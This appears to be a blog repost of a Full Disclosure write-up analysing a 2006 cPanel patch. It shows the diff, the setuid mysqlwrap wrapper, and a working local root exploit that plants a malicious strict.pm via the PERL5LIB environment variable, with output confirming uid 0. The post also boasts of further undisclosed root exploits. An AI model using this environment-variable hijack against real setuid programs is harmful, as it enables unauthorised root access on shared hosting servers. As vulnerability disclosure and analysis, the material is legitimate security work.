cp haquer writes on fd about how he analyzed the cpanel patch. he is trying to understand what the 0day exploit discussed lately might be (if it actually exists!):
it was pretty easy to figure out how the exploit worked once you saw their
first attempt at fixing it.
— /usr/local/cpanel/bin/mysqladmin 2006-08-29 16:54:07.000000000 -0500
+++ httpupdate.cpanel.net/cpanelsync/edge/bin/mysqladmin 2006-09-23
# this code is subject to the cpanel license. unauthorized copying is
– push( inc, “/usr/local/cpanel” );
+ unshift( inc, “/usr/local/cpanel” );
so obviously the exploit involves inserting things into inc when this
script is ran as root. so, how is this script ran as root?
lrwxrwxrwx 1 root root /usr/local/cpanel/bin/mysqlwrap -> cpwrap*
-rwsr-xr-x 1 root wheel /usr/local/cpanel/bin/cpwrap*
through the setuid program mysqlwrap of course! so the only quesiton is how
to insert things into inc. there are 2 ways that i could find, a command
line argument to perl, or the perl5lib environment variable. obviously, the
perl5lib environment variable seems like a good bet.
domaincdomain.com [~]# cat ~/omgwtflol/strict.pm
die(“my id is $< \n"); domaincdomain.com [~]# perl5lib=/home/domainc/omgwtflol /usr/local/cpanel/bin/mysqlwrap adddb database created added the database . my id is 0 compilation failed in require at /usr/local/cpanel/cpanel/version.pm line 8. begin failed--compilation aborted at /usr/local/cpanel/cpanel/version.pm line 8.compilation failed in require at /usr/local/cpanel/bin/mysqladmin line 11. begin failed--compilation aborted at /usr/local/cpanel/bin/mysqladmin line 11.smart readers will realize that the above patch is pretty stupid attempt at stopping the exploit. several hosting companies with hacked servers had to intervene to make sure cpanel fixed it correctly. in new verisons of cpanel, cpwrap now appears to clean out environment variables before executing things. but don't worry, there are several local root exploits all over cpanel waiting to be discovered. i have discovered 2 more on the same day that i discovered how this one works.
thanks to clint torrez who let us know about this exploit in a comment: